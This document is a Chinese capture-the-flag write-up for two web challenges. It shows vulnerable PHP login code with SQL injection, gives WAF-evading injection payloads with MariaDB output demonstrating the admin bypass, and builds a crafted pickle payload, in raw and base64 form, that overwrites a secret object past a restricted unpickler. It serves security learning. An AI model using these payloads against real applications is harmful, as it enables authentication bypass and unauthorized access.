Web

sqlchenkin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php 
// ...
$pdo = new PDO('mysql:host=localhost;dbname=test;charset=utf8;', 'root', '');
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
$stmt = $pdo->prepare("SELECT username from user where username='${_POST['username']}' and password='${_POST['password']}'");
$stmt->execute();
$result = $stmt->fetchAll();
if (count($result) > 0) {
if ($result[0]['username'] == 'admin') {
include('flag.php');
exit();
}
}
?>

fuzz一下发现有waf,or , 空格 ,...不能用,但是 ' , &可用,题目要求查询结果的第一个username字段为admin,,可构造类型转换绕过 password 比较。如,构 造弱类型运算使得 and 后面为 1,从而绕过 password:

1
2
3
4
5
6
7
8
9
10
MariaDB [test]> select username from user where username='admin' and password='1'&'1';
Empty set, 1 warning (0.000 sec)

MariaDB [test]> select username from user where username='admin' and password='1'&'0';
+----------+
| username |
+----------+
| admin |
+----------+
1 row in set, 1 warning (0.000 sec)

payload如下:

1
2
3
username=admin&password='&0&'1
url编码
username=admin&password='%260%26'1

这里%26编码后用浏览器提交是没有效果的,要用burpsuite提交

官方payload

username=admin’and(1-&password=)-’

或者使 password 查询条件为整数 0,绕过字符串比较

SELECT username from user where username='admin'and(1-'and password=')-'

1
2
3
4
5
6
7
MariaDB [test]> select username from user where username='admin'and(1-' and password=')-'';
+----------+
| username |
+----------+
| admin |
+----------+
1 row in set, 10 warnings (0.000 sec)

Webtmp

分析
考点是pickle反序列化,过滤掉了 R 指令码,并且重写了 find_class:

1
2
3
4
5
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

这就禁止引用除了 __main__ 之外的其他module,但是如果通过GLOBAL指令引入的变量,可以看作是原变量的引用。我们在栈上修改它的值,会导致原变量也被修改
于是可以先引入__main__.secret这个module,然后把一个 dict 压入栈,内容是 {'name': 'xx', 'category': 'yyy'},之后执行 build指令,改写 __main__.secret.name __main__.secret.category,此时 secret.name和 secret.category 已经变成我们想要的内容
之后再压入一个正常的 Animal对象,name和category分别是 xx和yyy最后构造的pickle数据如下
b"\x80\x03c__main__\nsecret\n}(Vname\nVxx\nVcategory\nVyyy\nub0c__main__\nAnimal\n)\x81}(S'name'\nS'xx'\nS'category'\nS'yyy'\nub."

MARK = b’(’ # push special markobject on stack 代表一个元组的开始

EMPTY_DICT = b’}’ # push empty dict

UNICODE = b’V’ # push Unicode string; raw-unicode-escaped’d argument

SETITEMS = b’u’ # modify dict by adding topmost key+value pairs

u操作符。它干这样的事情:

  • 调用pop_mark。也就是说,把当前栈的内容扔进一个数组arr,然后把当前栈恢复到MARK时的状态。
    执行完成之后,arr=['name', 'rxz', 'grade', 'G2'];当前栈里面存的是__main__.Student这个类、一个空的dict
  • 拿到当前栈的末尾元素,规定必须是一个dict
    这里,读到了栈顶那个空dict
  • 两个一组地读arr里面的元素,前者作为key,后者作为value,存进上一条所述的dict

STRING = b’S’ # push string; NL-terminated string argument

BUILD = b’b’ # call setstate or dict.update()

x81操作符。它的作用是:从栈中先弹出一个元素,记为args;再弹出一个元素,记为cls。接下来,执行cls.__new__(cls, *args) ,然后把得到的东西压进栈。说人话,那就是:从栈中弹出一个参数和一个class,然后利用这个参数实例化class,把得到的实例压进栈。

编码为base64提交即可
gANjX19tYWluX18Kc2VjcmV0Cn0oVm5hbWUKVnh4ClZjYXRlZ29yeQpWeXl5CnViMGNfX21haW5fXwpBbmltYWwKKYF9KFMnbmFtZScKUyd4eCcKUydjYXRlZ29yeScKUyd5eXknCnViLg==